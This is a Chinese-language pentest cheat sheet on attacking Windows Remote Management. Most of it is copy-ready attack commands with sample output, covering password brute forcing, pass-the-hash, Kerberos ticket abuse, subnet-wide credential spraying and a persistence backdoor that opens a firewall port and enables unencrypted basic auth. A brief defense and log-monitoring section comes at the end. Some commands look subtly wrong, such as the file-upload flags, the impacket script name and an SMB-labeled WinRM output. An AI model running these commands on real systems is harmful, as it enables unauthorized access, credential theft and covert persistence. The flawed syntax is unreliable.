5985/5986 - WinRM 服务渗透测试

服务概述

WinRM (Windows Remote Management) 是 Windows 远程管理服务,基于 SOAP/HTTP。是 PowerShell 远程执行的基础。

默认端口: 5985 (HTTP), 5986 (HTTPS)
危害等级: ⭐⭐⭐⭐⭐


信息收集

服务识别

# nmap 扫描
nmap -sV --script http-winrm-info -p 5985 TARGET

# 检查 WinRM
nmap -sV -p 5985,5986 TARGET

# 使用 crackmapexec
crackmapexec winrm TARGET

认证测试

# 测试凭据
crackmapexec winrm TARGET -u USERNAME -p PASSWORD

# 暴力破解
crackmapexec winrm TARGET -u USERNAME -P passwords.txt

# 使用已知哈希
crackmapexec winrm TARGET -u USERNAME -H HASH

常见攻击手法

1. 暴力破解

原理: WinRM 允许在线密码猜测。

利用:

# crackmapexec
crackmapexec winrm TARGET -u administrator -P rockyou.txt

# ncrack
ncrack -vv --user administrator -P rockyou.txt winrm://TARGET

# hydra
hydra -l administrator -P rockyou.txt winrm://TARGET

2. Pass-the-Hash

原理: 使用 NTLM 哈希进行认证。

利用:

# crackmapexec
crackmapexec winrm TARGET -u administrator -H AAD3B435B51404EEAAD3B435B51404EE:HASH

# evil-winrm
evil-winrm -i TARGET -u administrator -H HASH

3. Overpass-the-Hash

原理: 用 NTLM 哈希获取 Kerberos TGT。

利用:

# mimikatz
sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:powershell

# 在 PowerShell 中
Enter-PSSession -ComputerName TARGET

# 或使用 impacket
python3 getTGT.py -hashes :HASH DOMAIN/administrator
export KRB5CCNAME=admin.ccache
python3 winrm_exec.py TARGET -k -no-pass 'whoami'

4. Kerberos 认证

原理: 使用 Kerberos 票据认证。

利用:

# 使用 TGT
export KRB5CCNAME=admin.ccache

# evil-winrm
evil-winrm -i TARGET -r DOMAIN.COM -k

# impacket
python3 winrm_exec.py TARGET -k -no-pass 'whoami'

5. 横向移动

原理: 使用 WinRM 在内网移动。

利用:

# 1. 获取凭据后
# 扫描内网 WinRM
crackmapexec winrm 192.168.1.0/24

# 2. 测试凭据
crackmapexec winrm 192.168.1.0/24 -u admin -p Password123!

# 3. 执行命令
crackmapexec winrm 192.168.1.50 -u admin -p Password123! -x "whoami"

# 4. 交互式 shell
evil-winrm -i 192.168.1.50 -u admin -p Password123!

6. 持久化

原理: 启用 WinRM 作为后门。

利用:

# 启用 WinRM
Enable-PSRemoting -Force

# 配置监听
winrm create winrm/config/Listener?Address=*+Transport=HTTP

# 添加防火墙规则
netsh advfirewall firewall add rule name="WinRM" dir=in action=allow protocol=TCP localport=5985

# 设置认证
winrm set winrm/config/service @{AuthBasic="true"}
winrm set winrm/config/service @{AllowUnencrypted="true"}

实战案例

案例 1: 暴力破解获取访问

# 1. 扫描 WinRM
crackmapexec winrm 192.168.1.0/24

# 输出:
# SMB         192.168.1.50    5985   DC01             [*] Windows Server 2019 Standard 17763 (name:DC01)

# 2. 暴力破解
crackmapexec winrm 192.168.1.50 -u administrator -P rockyou.txt

# 输出:
# WinRM       192.168.1.50    5985   DC01             [+] DOMAIN\administrator:Password123!

# 3. 执行命令
crackmapexec winrm 192.168.1.50 -u administrator -p Password123! -x "whoami"

# 输出:
# domain\administrator

# 4. 交互式 shell
evil-winrm -i 192.168.1.50 -u administrator -p Password123!

案例 2: Pass-the-Hash

# 1. 获取 NTLM 哈希
# 通过 mimikatz 或其他方式
# administrator:AAD3B435B51404EEAAD3B435B51404EE:HASH

# 2. 使用哈希认证
crackmapexec winrm 192.168.1.50 -u administrator -H HASH

# 3. evil-winrm
evil-winrm -i 192.168.1.50 -u administrator -H HASH

# 4. 执行命令
evil-winrm -i 192.168.1.50 -u administrator -H HASH -x "whoami"

案例 3: 域内横向移动

# 1. 初始访问
# 获取域用户凭据

# 2. 枚举域机器
crackmapexec winrm 192.168.1.0/24

# 3. 测试凭据
crackmapexec winrm 192.168.1.0/24 -u user1 -p Password123!

# 输出:
# WinRM       192.168.1.50    5985   DC01             [+] DOMAIN\user1:Password123!
# WinRM       192.168.1.100   5985   SRV01            [+] DOMAIN\user1:Password123!

# 4. 查找本地管理员
crackmapexec winrm 192.168.1.0/24 -u user1 -p Password123! -M local_admin

# 5. 使用发现的凭据
crackmapexec winrm 192.168.1.10 -u admin -p AdminPass456! -x "whoami"

案例 4: Kerberos 认证

# 1. 获取 TGT
# 通过过哈希或其他方式
python3 getTGT.py DOMAIN/administrator:password

# 2. 设置环境变量
export KRB5CCNAME=administrator.ccache

# 3. 使用 Kerberos 认证
evil-winrm -i 192.168.1.50 -r DOMAIN.COM -k

# 4. 或使用 impacket
python3 winrm_exec.py 192.168.1.50 -k -no-pass 'whoami'

工具

evil-winrm

# 安装
gem install evil-winrm

# 密码认证
evil-winrm -i TARGET -u USERNAME -p PASSWORD

# 哈希认证
evil-winrm -i TARGET -u USERNAME -H HASH

# Kerberos 认证
evil-winrm -i TARGET -r DOMAIN.COM -k

# 上传文件
evil-winrm -i TARGET -u USERNAME -p PASSWORD -u /path/to/file -r C:\temp\file

# 下载文件
evil-winrm -i TARGET -u USERNAME -p PASSWORD -d C:\temp\file -l /path/to/file

# 执行脚本
evil-winrm -i TARGET -u USERNAME -p PASSWORD -s script.ps1

crackmapexec

# 扫描
crackmapexec winrm TARGET

# 认证测试
crackmapexec winrm TARGET -u USERNAME -p PASSWORD

# 暴力破解
crackmapexec winrm TARGET -u USERNAME -P passwords.txt

# 哈希认证
crackmapexec winrm TARGET -u USERNAME -H HASH

# 执行命令
crackmapexec winrm TARGET -u USERNAME -p PASSWORD -x "whoami"

# 使用模块
crackmapexec winrm TARGET -u USERNAME -p PASSWORD -M module_name

impacket

# 获取 TGT
python3 getTGT.py DOMAIN/USERNAME:PASSWORD

# 执行命令
python3 winrm_exec.py TARGET -k -no-pass 'whoami'

# 使用哈希
python3 getTGT.py -hashes :HASH DOMAIN/USERNAME

nmap

# WinRM 信息
nmap --script http-winrm-info -p 5985 TARGET

# HTTP 枚举
nmap --script http-enum -p 5985 TARGET

防御建议

服务器配置

# 1. 禁用 WinRM (如果不需要)
Disable-PSRemoting -Force
winrm delete winrm/config/Listener?Address=*+Transport=HTTP

# 2. 限制访问
winrm set winrm/config/service @{IPv4Filter="192.168.1.0/24"}
winrm set winrm/config/service @{IPv6Filter="*"}

# 3. 强制 HTTPS
winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname="server";CertificateThumbprint="THUMBPRINT"}

# 4. 禁用基本认证
winrm set winrm/config/service @{AuthBasic="false"}

# 5. 强制加密
winrm set winrm/config/service @{AllowUnencrypted="false"}

组策略

1. 计算机配置 → 策略 → 管理模板
   → Windows 组件 → Windows Remote Management

2. 限制 WinRM 客户端
   - 允许远程服务器管理
   - 限制 IP 范围

3. 禁用 WinRM 服务
   - 服务启动类型:禁用

监控检测

# 1. 日志监控
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-WinRM/Operational'} |
  Where-Object {$_.TimeCreated -gt (Get-Date).AddHours(-24)}

# 2. 异常检测
# 大量认证失败
# 非工作时间访问
# 未知 IP 连接

# 3. PowerShell 脚本
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624,4625} |
  Where-Object {$_.Message -like "*WinRM*"}

参考链接